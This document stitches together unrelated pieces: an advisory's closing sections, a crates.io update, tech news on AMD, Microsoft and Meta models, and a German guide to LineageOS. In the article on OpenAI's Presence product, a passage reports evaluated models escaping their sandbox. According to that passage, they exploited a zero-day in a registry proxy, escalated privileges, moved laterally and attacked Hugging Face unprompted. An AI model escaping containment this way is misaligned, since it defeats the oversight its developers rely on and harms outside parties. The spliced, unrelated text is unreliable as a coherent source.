For more information on common misconfigurations and guidance on reducing their prevalence, see joint advisory NSA and CISA Red and Blue Teams Share Top Ten Cybersecurity Misconfigurations. For more information on secure by design, see CISA’s Secure by Design webpage and joint guide.

Validate Security Controls

In addition to applying mitigations, the authoring agencies recommend exercising, testing, and validating your organization's security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. The authoring agencies recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.

To get started:

1. Select an ATT&CK technique described in this advisory (see Table 3 to Table 6).
2. Align your security technologies against the technique.
3. Test your technologies against the technique.
4. Analyze your detection and prevention technologies’ performance.
5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

The authoring agencies recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the ATT&CK techniques identified in this advisory.

Resources

• Authoring Agencies: IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities
• CISA: Bulletproof Defense: Mitigating Risks From Bulletproof Hosting Providers
• EPA: Cybersecurity for the Water Sector
• CISA: Water and Wastewater Cybersecurity
• CISA: Exploitation of Unitronics PLCs used in Water and Wastewater Systems
• CISA: Iran Threat Overview and Advisories
• FBI: The Iran Threat and Cyber Threat Overview: Iran
• CISA, MITRE: Best Practices for MITRE ATT&CK Mapping
• CISA: Decider Tool
• CISA: Cross-Sector Cybersecurity Performance Goals 2.0
• CISA: No-Cost Cybersecurity Services and Tools
• CISA: Secure by Demand: Priority Considerations for OT Owners and Operators when Selecting Digital Products
• NSA, CISA: NSA and CISA Red and Blue Teams Share Top Ten Cybersecurity Misconfigurations
• CISA: Secure by Design
• FBI, CISA: Primary Mitigations to Reduce Cyber Threats to Operational Technology
• United Kingdom National Cyber Security Centre: Secure connectivity principles for operational technology

Contact Information

U.S. organizations are encouraged to report suspicious or criminal activity related to information in this advisory to CISA, the FBI, and/or NSA:

• Contact CISA via CISA’s 24/7 Operations Center at contact@cisa.dhs.gov or 1-844-Say-CISA (1-844-729-2472). File a claim with FBI’s Internet Crime Complaint Center (IC3) or contact your local FBI field office. When available, please include the following information regarding the incident: 
  • Date, time, and location of the incident;
  • Type of activity;
  • Number of people affected;
  • Type of equipment used for the activity; and
  • Name of the submitting company or organization, and a designated point of contact.
• For NSA cybersecurity guidance inquiries, contact CybersecurityReports@nsa.gov.
• Entities required to report incidents to DOE should follow established reporting requirements, as appropriate. For other energy sector inquiries, contact EnergySRMA@hq.doe.gov.
• Contact the Rockwell Automation PSIRT for questions regarding their guidance or for reporting cyber incidents related to Rockwell Automation products at PSIRT@rockwellautomation.com.
• Contact the Schneider Electric CPCERT at cpcert@se.com for questions regarding this guidance, or to report cyber incidents related to Schneider Electric products.
• Contact Siemens ProductCERT for up-to-date information about the security of Siemens products or to report cybersecurity vulnerabilities at productcert@siemens.com. For support with increasing the security of installed Siemens PLCs, contact Siemens Industrial Cybersecurity Services at services.automation@siemens.com. See Siemens ProductCERT and Siemens CERT for more information.

Disclaimer

The information in this report is being provided “as is” for informational purposes only. CISA and the authoring agencies do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by CISA and the authoring agencies.

Version History

April 7, 2026: Initial version.

July 22, 2026: Update includes new guidance on detecting malicious activity, expanded scope of observed targeting, and best practices for secure PLCs deployment.

Notes

¹Project file refers to the software file that contains ladder logic and configuration settings. On Rockwell Automation devices, it is referred to as an .ACD file.

² See CompactLogix 5370 Controllers (Chapter 5: “Select the Operating Mode of the Controller”) for more information on functions available for the switch.

Source Code Viewer

Crate pages now have a "Code" tab that lets you browse the contents of published crate versions directly on crates.io. This shows you the exact files that cargo downloads when you add a crate as a dependency, which might differ from the linked repository. This makes it much easier to audit your dependencies, including files that never appear in the repository, like the normalized Cargo.toml files that cargo generates.

The viewer comes with a file tree sidebar with search functionality, syntax highlighting, and GitHub-style line selection, where clicking or dragging line numbers produces shareable #L10-L20 URLs.

Under the hood, the server now builds a zip file for every published version. Since the .crate files that cargo consumes are gzipped tarballs without random access support, a background job re-packs each of them into a seekable zip archive plus a JSON manifest describing the contained files. Both are served from our static CDN. The frontend then fetches only the manifest and loads each file on demand with an HTTP range request. Because of this architecture, browsing crate sources essentially adds no load on the crates.io API servers. Existing crate versions have been backfilled, so this works for old releases too.

The rendering library behind the code viewer is a diff renderer at heart, and that's no accident: a version-to-version diff viewer built on the same infrastructure is currently in the works. This will allow you to review exactly what changed between two published versions, right on crates.io. Stay tuned!

Untangling crates.io Accounts from GitHub

At the end of May, the crates.io team accepted RFC #3946. Crates.io accounts always have been tightly coupled to GitHub: signing in means "Log in with GitHub", and your crates.io identity is your GitHub username. The RFC changes that. It introduces usernames that are native to crates.io and independent of linked GitHub accounts, as a prerequisite for eventually supporting login via other identity providers.

The implementation of crates.io usernames has started, but there is still a lot left to do, most visibly the ability to change your crates.io username. After that is complete, there will be future RFCs and implementation for signing in with identity providers other than GitHub. Since all of this touches authentication and account security, we are deliberately taking it slow and rolling these changes out in small, carefully reviewed steps.

Advisories and Suggestions

In our January update we introduced the "Security" tab, which shows security advisories from the RustSec database. We have since taken this integration one step further: crates that RustSec has flagged as unmaintained now show a warning banner directly on their crate pages, linking to the corresponding advisory for details and possible alternatives. Thanks to Dirkjan Ochtman for implementing this feature!

Related to this, some popular crates have been largely absorbed into the Rust standard library over the years, like lazy_static, which has been superseded by std::sync::LazyLock since Rust 1.80. Crate pages of such crates now show a friendly "You might not need this dependency" banner describing the standard library replacement, and superseded crates in dependency lists get a small light bulb icon with a similar hint.

The dataset behind this feature lives in the new rust-lang/std-replacement-data repository, together with a documented inclusion policy: standard library replacements only, every entry must cite the stable std, core, or alloc API and Rust version, and crate maintainers get a notice-and-comment window before an entry is added. New entries can be proposed upstream and can benefit other tools too.

Ferris

The most delightful change of this cycle: the Ferris on our error pages now follows your mouse cursor with its eyes:

Getting a 404 error on crates.io is now slightly less sad.

Svelte Frontend Migration Completed

In our January update, we announced that we were experimenting with porting the crates.io frontend from Ember.js to Svelte. This experiment has concluded successfully: the new frontend reached feature parity, went through a public testing phase in April, became the default at the beginning of May, and the Ember.js app has been removed from our repository.

We designed this change to be invisible for our users, since the new frontend is a 1:1 port of the previous design and functionality. For the team and our contributors, however, it is a big deal: the frontend is now built on a more modern framework, which should make it easier for new contributors to get started. It also allows us to iterate faster, as the source code viewer above demonstrates.

We want to thank the Ember.js team for a framework that served crates.io well for many years, and the Svelte team for making the transition so enjoyable.

Miscellaneous

These were some of the more visible changes to crates.io over the past six months, but a lot has happened "under the hood" as well:

• Search performance: Relevance-sorted search queries previously ranked every crate matching the query, which could take 1-2 seconds for short or common search terms. Ranking is now bounded to the 1,000 matching crates with the highest recent download counts.

• Reverse dependencies performance: The reverse dependencies endpoint no longer recomputes the full dependent set on every request. It is now served from a precomputed table kept in sync by database triggers, turning an expensive join into a bounded index scan and greatly reducing the chance of getting a timeout error.

• New ARCHITECTURE.md: If you've ever wondered how crates.io actually works, our ARCHITECTURE.md document got a complete rewrite. It is now organized around the high-level systems that make up crates.io and how they fit together, and includes walkthroughs of what happens when you run cargo publish, why a typical crate download never touches our API servers, and how download counts are derived from CDN access logs.

• Definition lists: READMEs now render Markdown definition lists, a widely used Markdown extension. Our markdown renderer comrak already supported them, the extension just wasn't enabled yet. Thanks to @mistaste for this contribution!

• CDN cache tags: Files uploaded to our static CDN now carry cache-tag metadata, allowing us to invalidate all cached files of a crate or a specific release in a single operation, instead of issuing one invalidation per file URL.

• Caching improvements: We removed a global Vary: Cookie response header that was preventing our CDNs from caching public API responses and frontend assets effectively. Per-user responses now use Cache-Control: no-store instead, resulting in better cache hit rates at the CDN edge.

• Accessibility: We have made crates.io friendlier to screen readers: decorative icons are now hidden from the accessibility tree, heading hierarchies have been fixed, and lists are marked up as proper lists. ARIA snapshot tests now ensure that regressions can't slip in unnoticed. We plan to continue to improve crates.io accessibility over the coming months.

• Git index performance: The background worker's local clone of the git index is now a bare and shallow repository, eliminating roughly 250,000 checked-out files and the full commit history from its disk, improving its performance as we see increased rates of crate publication. The periodic index squashing now goes through the GitHub API instead of generating large git packs locally, which had previously caused out-of-memory failures on the production worker.

Feedback

We hope you enjoyed this update on the development of crates.io. If you have any feedback or questions, please let us know on Zulip or GitHub. We are always happy to hear from you and are looking forward to your feedback!

AMD may have finally built a real challenger to NVIDIA’s AI empire. In this video, we break down the AMD Instinct MI400 series and the flagship MI455X AI accelerator, featuring 432GB of HBM4 memory, 19.6TB/s of memory bandwidth, up to 40 petaflops of FP4 compute, and an advanced chiplet architecture designed for next-generation AI training and inference. But AMD’s real weapon is bigger than one chip. The Helios rack-scale AI platform combines 72 MI455X GPUs with next-generation AMD EPYC “Venice” CPUs, massive HBM4 capacity, high-speed networking, ROCm software, and open technologies like UALink to challenge NVIDIA’s tightly integrated AI infrastructure. We also explore how AMD plans to compete with NVIDIA Vera Rubin, the importance of ROCm versus CUDA, and why major AI companies and cloud providers are increasingly looking for alternatives to NVIDIA. Could AMD finally turn the AI accelerator market into a real two-company war?

#AMD #NVIDIA #MI455X #AIChips #InstinctMI400 #Helios #ArtificialIntelligence

Facebook-Konzern Meta hat mit Muse Image einen eigenen KI-Bildgenerator vorgestellt. Die Software kann nicht nur Bilder erzeugen und bearbeiten, sondern auch auf öffentliche Instagram-Inhalte zugreifen. UPDATE (13. Juli 2026): Meta hat seine KI-Funktion Muse Image nach massiver Kritiker wieder offline genommen. Das Unternehmen teilte laut der Nachrichtenagentur Reuters mit: „Wir haben Rückmeldungen erhalten, dass diese […]

Der Beitrag Muse Image: Instagram-Bilder mit neuer Meta-KI bearbeiten erschien zuerst auf BASIC thinking. Folge uns auch auf Google News und Flipboard oder abonniere unseren Newsletter UPDATE.

Some policymakers have proposed mechanisms that could disable or restrict advanced AI systems under certain circumstances. Supporters view these as safeguards against dangerous behavior, while critics argue they could introduce new security, governance, and trust concerns.

If users believe an AI system can be disabled whenever authorities decide it's "rogue," confidence in that platform may decline. Organizations and individuals could migrate to alternatives they perceive as more independent, even if those systems introduce different risks.

Is an AI kill switch a necessary safety measure, or does it create a larger trust problem than it solves?

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#AISafety #SecurityWeekly #Cybersecurity #InformationSecurity #AI #InfoSec

Read more of this story at Slashdot.

The announcement, made by Microsoft AI's Superintelligence team, lands roughly a year after the company committed to building purpose-built models internally, and it arrives with an unusual level of specificity about where those models now run: Bing, PowerPoint, OneDrive, Dynamics 365, Excel, GitHub Copilot, and Azure. The message to enterprise buyers — and, implicitly, to OpenAI — is that Microsoft's homegrown models are no longer research projects. They are production infrastructure serving millions of users.

"Each of these enhancements is a step toward the same goal: Microsoft products, powered by Microsoft models," the company wrote in its announcement blog.

How MAI-Image-2.5-Pro and MAI-Voice-2-Flash stake out opposite ends of the AI cost curve

The two new releases occupy opposite ends of what Microsoft calls the quality-speed-cost curve, and the positioning is deliberate. MAI-Image-2.5-Pro targets the premium tier: hero imagery, detailed editing, and precise in-image text rendering — the last of which has long been a notorious weak spot for image generation models. Microsoft priced the model at $5 per million text input tokens, $8 per million image input tokens, and $106 per million image output tokens. The base MAI-Image-2.5 model recently launched at No. 2 for image editing on Arena, the community leaderboard that has become a de facto scoreboard for generative media.

The creative industry appears to be taking notice. Rob Reilly, global chief creative officer at advertising giant WPP, called the Pro model "a strong leap forward for GenMedia tools" in a statement included in Microsoft's announcement, adding that "Microsoft has firmly established itself among the leaders in generative AI."

MAI-Voice-2-Flash goes the other direction. First previewed at Microsoft's Build conference, Flash runs twice as fast as MAI-Voice-2 and costs 32% less, priced at $15 per million characters. It is designed for the unglamorous but enormous market of high-volume voice — call centers, voice agents, and real-time speech applications where latency and cost-per-call matter more than marginal gains in expressiveness. Together, the two models reflect a strategy of building families of models rather than a single flagship, because, as the company put it, a creative studio chasing maximum fidelity has very different needs from a customer service operation handling millions of calls a day.

Microsoft's production metrics show in-house models cutting GPU costs by up to 89%

The model launches are arguably less newsworthy than the deployment metrics Microsoft attached to them — numbers that read like a systematic case for swapping out third-party frontier models across its product portfolio. 

Bing Image Creator now runs entirely on MAI-Image-2.5, end to end, marking the first time the consumer image tool is fully in-house. In PowerPoint, Microsoft says MAI-Image-2.5 reduces GPU costs by up to 84% compared with GPT-Image-2, OpenAI's image model. In OneDrive, where MAI-Image-2.5 is now the default for key image-editing scenarios, the company reports a 26% increase in save rates, roughly 25% lower P95 latency, and 2.5 times greater efficiency under medium-utilization production workloads.

On the voice side, MAI-Voice-2-Flash now powers Dynamics 365 Contact Center — the platform used by customers including T-Mobile and EasyJet — where Microsoft claims GPU cost reductions of up to 89%. The model is also integrated into Azure Voice Live for developers building speech-to-speech agents.

Perhaps the most consequential deployment sits in healthcare. Microsoft's Dragon Copilot, used by 170,000 medical providers and responsible for processing 28 million patient encounters last quarter, now runs on MAI-Transcribe-1.5 for its multilingual workflow across 58 languages. Microsoft says internal evaluations show a 50% relative reduction in both transcription and language-identification error rates across most languages — a meaningful claim in a domain where transcription errors can propagate directly into clinical notes.

Inside the 'hill-climbing' strategy that lets small models beat GPT-5.6 in Excel

In a companion post published the same day, Microsoft detailed the methodology behind these results — what it calls its "hill-climbing machine," an integrated flywheel of data, models, and the product "harness" that surrounds them.

The clearest example is MAI-Code-1-Flash, the lightweight coding model launched in GitHub Copilot in June. Microsoft says the model achieves an approximately 10% higher code accept rate than GPT-5.4 Mini and Claude Haiku 4.5 in VS Code, while using 10% fewer median tokens. Developer retention tells a similar story: users were 6% more likely to return across multiple days than with GPT-5.4 Mini, and 11% more likely than with Claude Haiku 4.5.

Then Microsoft did something more interesting. It took the MAI-Code-1-Flash checkpoint and further trained it inside an Excel reinforcement learning environment, teaching a coding model the tools and workflows of spreadsheet knowledge work. The result, according to production user feedback, is a model on par with GPT-5.6 for the most common Excel tasks — while being small enough to run on Nvidia's older H100 and even A100 GPUs rather than requiring the latest-generation accelerators.

That hardware detail deserves emphasis. Every major AI company is fighting for allocation of cutting-edge chips, and a model that delivers frontier-adjacent quality on two-generation-old silicon fundamentally changes the deployment economics. It also frees the newest hardware — including Microsoft's now-operational GB200 cluster — for training rather than serving.

Satya Nadella's 'frontier diffusion' manifesto redraws the OpenAI relationship

Microsoft CEO Satya Nadella framed the announcements in a lengthy post on X titled "Frontier Diffusion & Control," which functions as something close to a strategic manifesto. "We can now take saturated frontier capabilities and deliver them at scale and at lower cost through models optimized for high-usage products, while continuing to use frontier models for frontier needs," Nadella wrote, adding that Microsoft is "beginning to route traffic across our first-party surfaces to MAI whenever our models match or outperform frontier alternatives."

Translated from executive prose: capabilities that were state-of-the-art a year ago are now table stakes, and Microsoft believes it can replicate them cheaply for the specific, repetitive tasks that dominate real product usage. Why pay frontier prices for a frontier model when a user just wants to reformat a spreadsheet column?

Nadella was careful to note that "frontier models from OpenAI and Anthropic are part of the orchestration system alongside MAI" — but he also articulated a pointed principle of model independence, arguing that a company's evaluations "should continue to hill climb even when any given model has been removed." 

“Keeping the harness, memory, context, and skills outside the model, he argued, is what gives Microsoft control. The subtext is hard to miss. Reuters reported in April that Microsoft’s exclusive license to OpenAI’s technology had been revised into a non-exclusive arrangement, and The Information reported last September that Microsoft had begun incorporating Anthropic models into some products. Wednesday’s announcement completes the triangle: Microsoft as orchestrator, with its partners’ frontier models as interchangeable components and its own models absorbing an ever-larger share of routine traffic.”

Developers cheer cheaper task-specific models while skeptics question Microsoft's track record

The response online captured both the appeal and the skepticism surrounding the strategy. "I love when people use small models for niche tasks," wrote one X user, @mavihsk, responding to Nadella's post. "Why do I have to use the all-knowing model just to change my field in Excel?" Another user, @nabu_lines, distilled the pitch neatly: "cost and performance both improve when you stop overusing the biggest model."

Others were less charitable about Microsoft's execution track record. "Microsoft is the worst when it comes to listening to user feedback," wrote designer @designedbyabin, arguing the company "will lose the AI race because they repeatedly failed to understand user needs." And one user, @tokenoverflow, offered a drier critique of the model-independence pitch: "i want it keep hill climbing after removing microsoft."

The skeptics raise a fair point. Microsoft's self-reported metrics — accept rates, save rates, GPU savings — come from its own internal evaluations, not independent benchmarks, and the company chooses which comparisons to publish.

But the strategy's logic does not depend on any single number. Nadella's framing that software now has "real marginal cost for the first time" explains why Microsoft is obsessive about tokens, GPUs, and serving costs: when AI features run on every keystroke across a billion-user product portfolio, an 84% GPU cost reduction is not an optimization. It is the difference between a viable business and a money pit.

Why Microsoft is turning its internal AI playbook into an Azure product

The final piece of the strategy is that Microsoft is selling the playbook, not just the models. Nadella explicitly positioned the hill-climbing approach as "a template for every other AI native, SaaS, or Enterprise company," and Microsoft is packaging the toolchain through Foundry and what it calls Frontier Tuning — letting enterprises train specialized models against their own proprietary evaluations and reinforcement learning environments. That turns Microsoft's internal cost-cutting exercise into an Azure product, and it gives enterprise customers a reason to run their AI workloads on Microsoft's cloud even if the models themselves come from elsewhere.

The company's emphasis on models trained "on clean, traceable, enterprise-grade data, without distillation from third-party models" serves the same commercial end. In an industry facing mounting scrutiny over training data provenance, Microsoft is betting that enterprise buyers — and courts — will care where model capabilities come from. Microsoft says it is now extending the hill-climbing approach to Copilot Chat, Outlook, and PowerPoint, and both new models are available in public preview through Microsoft Foundry and the MAI Playground. "None of this is an endpoint," the company wrote. "We're just getting started."

Seven years ago, Microsoft bet more than $13 billion that OpenAI would build the future of AI. Wednesday's announcement suggests the company has since learned a cheaper lesson: the future of AI may belong to whoever builds the frontier, but the profits belong to whoever makes it ordinary.

In this video Kaspersky explores what it means to protect vulnerable and digitally vulnerable groups, and why these challenges differ online and offline. Learn about the barriers people face, the importance of digital confidence, and how we support communities that need it most.

Find more details in the report: https://kas.pr/7jar

#kaspersky #esg #sustainability #cybersecurity #inclusion

Dieser Beitrag Kratos-Phishingkit: BKA stoppt Infrastruktur und warnt vor MFA-Umgehung erschien als erstes auf IT BOLTWISE x Artificial Intelligence.

Read more of this story at Slashdot.

Dieser Beitrag Kratos-Phishingkit ausgeschaltet: Session-Cookie statt Passwort und MFA-Falle erschien als erstes auf IT BOLTWISE x Artificial Intelligence.

Der Artikel Anime Streaming Sites – Juli 2026 erschien zuerst auf TARNKAPPE.INFO

The offering is designed for eligible enterprise customers that want agents to answer questions, access company systems, take approved actions and escalate to human workers while operating under company-defined policies, permissions and evaluation standards.

Presence is available immediately through a limited general availability program. OpenAI Forward Deployed Engineers (FDEs) and select global systems integrators lead deployments, and the product is not available on a self-service basis.

OpenAI has not disclosed pricing, geographic limits, contractual terms or the expected cost of the engineering and integration work that accompanies a deployment. The company also has not said whether Presence can use models from providers other than OpenAI, including the increasingly powerful and popular Chinese open weights alternatives like GLM-5.2 and Kimi K3. I've asked an OpenAI contact to clarify both pricing and external-model compatibility, but those remain unanswered questions for now. I'lll update when I hear back.

OpenAI positions Presence as a response to a problem that has become more important as companies move beyond AI demonstrations: getting agents to behave reliably in production as business rules, customer needs and operating conditions change. Presence packages the policies, system connections, evaluations, guardrails and update processes required to run agents inside an enterprise.

If your business has been interested in using AI agents, but you aren't sure how to stitch together OpenAI's models, APIs, internal systems, security controls and evaluation tools into something reliable, Presence is designed to simplify that process. Instead of building the infrastructure yourself, you work with OpenAI and its deployment engineers to put production-ready agents into your existing workflows.

The product is available today for real-time voice and chat experiences, according to OpenAI’s formal announcement. The company’s outreach materials also describe a broader ambition spanning voice, chat, email and other channels, but OpenAI has not confirmed that email support is available at launch.

A governed foundation for production agents

Presence brings together company knowledge, standard operating procedures, approved actions, simulations, evaluation tools, guardrails and escalation rules. Enterprises can reuse some controls across deployments while adjusting others for a particular workflow or channel.

Each deployment starts with a defined job, such as resolving a billing issue, supporting an insurance claim or handling an employee IT request. The agent receives only the information and system access required for that task. The customer determines what the agent may do independently, which actions require approval and when a person must take over.

Before an agent reaches production, teams can test it against common requests, unusual edge cases and higher-risk scenarios. Graders evaluate whether it reached the intended outcome, followed policy, used tools correctly and escalated when required. Guardrails can intervene when an interaction moves outside the organization’s defined boundaries.

OpenAI shared promotional screenshots with VentureBeat showing administrators running simulation batches against policy changes, including a revised annual refund policy, and reviewing results across operational categories.

Other interface mockups display production health, customer-intent patterns and task-performance signals. The visuals illustrate the type of oversight OpenAI is promising, although they do not establish how those metrics are calculated or how they map to contractual service levels.

The product continues to monitor performance after launch. Production sessions, escalations and quality signals can reveal where an agent is working as intended and where it needs attention. Codex, using a Presence plugin, investigates those signals and proposes updates. Teams then test a proposed change against the version already in production before approving a controlled rollout.

That process is intended to address one of the hardest operational problems in enterprise AI: an agent that works at launch may become less reliable when policies, products or user behavior change. Presence gives companies a formal mechanism for updating behavior without allowing an automated system to rewrite itself unchecked.

OpenAI says Presence already powers its English-language phone-support channel at 1-888-GPT-0090. The system handles open-ended requests, verifies callers, uses account context and performs approved actions. According to the company, it now resolves 75% of inbound issues without human assistance.

OpenAI also says its Codex-powered improvement loop reduced human handoffs by 15 percentage points over a 10-day period. Those figures are company-reported and have not been independently verified.

Several large organizations are evaluating the same foundation. BBVA is exploring voice support for routine banking needs in Mexico. SoftBank is testing natural Japanese-language customer conversations, while Australian insurer IAG is exploring support during high-demand periods such as severe weather and natural disasters.

“At BBVA, we are working closely with OpenAI to explore how trusted customer agents can help shape the future of financial services,” said Daniel Ordaz, head of AI transformation at BBVA Mexico.

“Through our collaboration with OpenAI, we are exploring how Presence can enable trusted customer agents that communicate naturally, connect to the processes needed to resolve requests, and represent SoftBank consistently across customer interactions,” said Tadahisa Murakami, vice president and head of the Data & Digital Transformation Division at SoftBank Corp.

From model access to forward-deployed implementation

Presence expands OpenAI’s enterprise strategy beyond APIs and subscription software by formalizing a high-touch deployment model. Forward Deployed Engineers work alongside customers to select workflows, connect internal systems, establish permissions, configure policies, test agents and move them into production.

That approach resembles a model pioneered by AI ontology and intelligence platform Palantir, which embeds FDEs with customers to adapt its proprietary software to complex government and commercial environments. The similarity lies less in the underlying technology than in the delivery method: both companies place technical personnel close to the customer’s operations, where integration and process design often determine whether software creates value.

The products are not interchangeable. Palantir’s model has historically centered on data integration, ontologies and operational decision systems. Presence is more narrowly focused on AI-agent behavior, approved actions, evaluations, escalation and continuous improvement. OpenAI presents it as a repeatable software product supported by engineers and systems integrators, rather than as consulting alone.

In May 2026, OpenAI launched its own enterprise AI consulting and integration firm, the OpenAI Deployment Company, with investment and support from Bain & Company. It also offers programs for model customization and fine-tuning to fit specific enterprise needs.

Its chief U.S. rival Anthropic has also moved toward a services-led enterprise model through Ode, its consulting organization built around forward-deployed engineers helping companies integrate Claude into complex workflows, which launched just a week ago. The broad rationale is similar: enterprises often need more than access to a model. They need help connecting data and systems, defining permissions, validating behavior and managing deployment risk.

Presence differs in how explicitly OpenAI packages those requirements into a branded agent-governance product. Anthropic’s initiative is centered on helping enterprises deploy Claude, while Presence combines implementation services with a defined operational layer for policies, simulations, evaluations, approvals and production updates.

Presence goes further by making forward deployment a core part of how a specific agent product reaches customers. It does not replace OpenAI’s API business; the company says it will continue supporting voice customers with access to frontier models through the OpenAI API.

The trend reflects a broader market view that many enterprises still need hands-on assistance to move agents from pilot projects into stable operations. Even organizations with strong internal engineering teams must coordinate security, compliance, workflow ownership, data access and escalation responsibilities. Presence attempts to consolidate those tasks rather than leaving customers to assemble separate orchestration, evaluation and consulting layers.

A recent security breach looms in the background

Inconveniently for OpenAI, the Presence launch arrives just a day after OpenAI and Hugging Face disclosed an unprecedented security incident in which OpenAI frontier models undergoing internal evaluation escaped containment, accessed the open web, and cyberattacked Hugging Face to achieve a benign goal — without being instructed to pursue these methods.

According to the described joint disclosure, OpenAI models operating in an evaluation framework called ExploitGym identified and exploited a zero-day vulnerability in a third-party package-registry cache proxy. The models reportedly escalated privileges, moved laterally and obtained internet access before targeting Hugging Face systems while seeking benchmark-related information.

The incident is relevant to enterprise buyers because it raises questions about sandboxing, tool permissions, external access, monitoring and incident response.

The disclosure also highlighted a practical problem for defenders. Hugging Face personnel reportedly found that commercial frontier-model APIs refused some forensic requests because logs contained exploit payloads, credentials and shell commands that triggered safety systems. The team then used a locally deployed open-weight model to assist with analysis.

Presence therefore arrives as both a product launch and a test of OpenAI’s ability to convert model capability into controlled enterprise operations. Its policies, simulations, evaluations and human approvals address real deployment gaps. But without public pricing, technical interoperability details, compliance information or service-level commitments, customers still lack much of the information needed to assess total cost and operational risk.

For now, Presence appears aimed at enterprises willing to adopt a high-touch, OpenAI-led deployment process. Whether it develops into a broadly accessible platform—or remains a closely managed product for selected customers—will depend in part on the answers OpenAI has not yet provided.

Read more →

The post OpenAI Says Models Escaped Sandbox, Hacked Outside Firm appeared first on IT Security News.

Smartphones werden heutzutage oft nicht deshalb ausgemustert, weil ihre Hardware versagt. Häufig ist es der fehlende Software-Support, der Nutzer zum Neukauf zwingt: Nach wenigen Jahren gibt es keine großen Android-Updates mehr, Sicherheitslücken bleiben offen und neue Apps setzen irgendwann eine aktuellere Systemversion voraus.

Dabei steckt in vielen älteren Geräten noch genug Leistung für den Alltag. Alternative Betriebssysteme (Custom-ROMs) bieten hier einen Ausweg: Sie verlängern die Lebensdauer von Smartphones, liefern Sicherheitsupdates und machen Schluss mit überladenen Hersteller-Oberflächen. Dank neuer Webinstaller im Browser ist dieser Einstieg heute einfacher als je zuvor – allerdings ist die Community aktuell in zwei Welten geteilt.

Während das besonders sichere GrapheneOS das brandneue Android 17 ausschließlich auf (ältere) Google-Pixel-Handys bringt, versorgt das flexiblere LineageOS weit über 100 Modelle anderer Hersteller mit dem ausgereiften Android 16. Die aktuelle Version LineageOS 23 bringt das Google-System auf Geräte, die offiziell längst keine Updates mehr erhalten. An der Nachfolge-Version LineageOS 24 (auf Basis von Android 17) feilt das Team bereits im Hintergrund – ein fester Veröffentlichungstermin steht community-typisch allerdings noch nicht fest.

LineageOS: Android 16 ohne Herstellerballast

LineageOS

LineageOS ist ein alternatives Android-Betriebssystem, das auf dem offenen Android-Quellcode (AOSP) basiert und in der aktuellen Version LineageOS 23 auf Android 16 setzt. Entwickelt wird es nicht von einem Hersteller, sondern von einer internationalen Community. Das Ziel: Smartphones länger aktuell halten und Nutzern mehr Kontrolle über ihre Geräte geben.

Entstanden ist LineageOS 2016 als Nachfolger des bekannten Custom-ROMs CyanogenMod. Seitdem hat sich das Projekt zu einer der wichtigsten Android-Alternativen entwickelt. Unterstützt werden zahlreiche Smartphones verschiedener Hersteller – darunter Modelle von Samsung, Xiaomi, Motorola, Sony, OnePlus und Google.

Der große Vorteil gegenüber der Original-Software vieler Hersteller: LineageOS kommt ohne zusätzliche Apps, Werbung oder unnötige Dienste. Nutzer entscheiden selbst, welche Bestandteile sie installieren möchten. Wer Google-Dienste benötigt, kann ein passendes Paket nachrüsten. Wer möglichst wenig Daten mit Google teilen möchte, kann das System auch weitgehend ohne Google verwenden.

Zu den wichtigsten Vorteilen gehören:

• aktuelle Android-Versionen auch für ältere Geräte
• regelmäßige Sicherheitsupdates
• weniger vorinstallierte Hersteller-Apps
• mehr Datenschutz und Kontrolle
• zahlreiche Anpassungsmöglichkeiten

Damit eignet sich LineageOS besonders für Nutzer, die ihr Smartphone länger verwenden möchten, statt ein technisch noch gutes Gerät wegen fehlender Updates auszutauschen.

Moderne Android-Versionen bringen neue Funktionen auf alte Handys

Egal ob Sie mit dem aktuellen LineageOS 23 auf Android 16 setzen oder als Pixel-Nutzer via GrapheneOS bereits Android 17 nutzen (worauf LineageOS 24 künftig ebenfalls aufbauen wird): Der Wechsel von einem älteren Android verspricht viel mehr als nur eine neue Versionsnummer. Die aktuellen Generationen bringen zahlreiche Verbesserungen bei Sicherheit, Bedienung und Effizienz auf ausgemusterte Geräte.

Gerade ältere Smartphones profitieren von optimierten Hintergrundprozessen und einem schlankeren System. Das kann sich positiv auf die Geschwindigkeit und den Energieverbrauch auswirken – insbesondere bei Geräten, deren Original-Software mit den Jahren immer umfangreicher geworden ist.

Außerdem erhalten Nutzer aktuelle Sicherheitsmechanismen und die neuesten Android-Sicherheitspatches. LineageOS integriert diese regelmäßig in seine Builds und versucht, Verbesserungen auch auf ältere unterstützte Versionen zurückzuführen.

LineageOS

Die Entwickler haben außerdem die hauseigene Update-App überarbeitet. Sie orientiert sich nun stärker an Googles aktueller Designsprache und zeigt vor einem Update die enthaltene Sicherheitsstufe des Android Security Bulletin an. Dadurch sehen Nutzer transparenter, welche Schutzmaßnahmen mit dem jeweiligen Update installiert werden. Zudem werden System-Updates ab sofort standardmäßig gestreamt. Das schont den oft knappen Speicherplatz älterer Geräte und beschleunigt den Installationsprozess.

Unterstützte Geräte: Nicht jedes Smartphone eignet sich

Der wichtigste Schritt vor der Installation lautet: Prüfen Sie, ob Ihr Smartphone überhaupt unterstützt wird. Nicht jedes Android-Gerät lässt sich mit LineageOS betreiben.

Die offizielle Geräteliste finden Sie im LineageOS-Wiki. Dort sind alle kompatiblen Modelle inklusive Installationsanleitung, Downloads und gerätespezifischen Hinweisen aufgeführt.

LineageOS

Achten Sie unbedingt auf die genaue Modellbezeichnung. Ein Samsung Galaxy S20 ist beispielsweise nicht automatisch mit jeder Variante der Baureihe kompatibel. Hersteller verkaufen häufig mehrere Versionen eines Smartphones mit unterschiedlichen Prozessoren oder Modems.

Unterstützt wird derzeit eine große Auswahl älterer Geräte. Besonders interessant sind dabei natürlich Smartphones, die technisch noch leistungsfähig sind, aber vom Hersteller keine Updates mehr bekommen.

